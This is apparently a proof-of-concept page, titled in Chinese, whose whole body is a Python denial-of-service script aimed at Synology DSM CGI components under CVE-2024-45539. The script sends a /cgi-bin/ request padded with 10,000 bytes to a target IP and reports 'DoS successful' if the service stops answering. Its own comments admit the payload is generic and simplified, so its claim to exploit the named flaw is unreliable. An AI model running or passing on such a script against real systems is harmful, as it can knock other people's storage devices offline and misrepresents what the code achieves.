CVE-2024-45539: Synology DSM CGI组件越界写入拒绝服务漏洞

# CVE-2024-45539 PoC - Synology DSM CGI Out-of-Bounds Write DoS # This PoC demonstrates a simple DoS attack against vulnerable Synology DSM # Usage: python3 cve-2024-45539_poc.py <target_ip> import socket import sys import time def send_cgi_request(target_ip, port=5000): """ Send a crafted HTTP request to trigger the out-of-bounds write vulnerability in Synology DSM CGI components. """ # Construct a malicious request targeting CGI components # The exact payload depends on specific vulnerable endpoint payload = b'GET /cgi-bin/ HTTP/1.1\r\n' payload += b'Host: ' + target_ip.encode() + b'\r\n' payload += b'User-Agent: Mozilla/5.0\r\n' payload += b'Accept: */*\r\n' payload += b'Connection: close\r\n' payload += b'Content-Length: 0\r\n\r\n' # Add extra padding to trigger potential buffer overflow # This is a simplified demonstration payload += b'A' * 10000 try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, port)) sock.send(payload) print(f'[+] Malicious request sent to {target_ip}:{port}') # Wait and check if service is still responsive time.sleep(2) sock2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock2.settimeout(5) try: sock2.connect((target_ip, port)) print('[-] Service still responding, vulnerability may not be triggered') except: print('[+] Service appears to be down - DoS successful!') finally: sock2.close() sock.close() except Exception as e: print(f'[-] Error: {str(e)}') if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python3 {sys.argv[0]} <target_ip> [port]') sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 5000 print(f'[*] CVE-2024-45539 PoC - Synology DSM CGI DoS') print(f'[*] Target: {target}:{port}') send_cgi_request(target, port)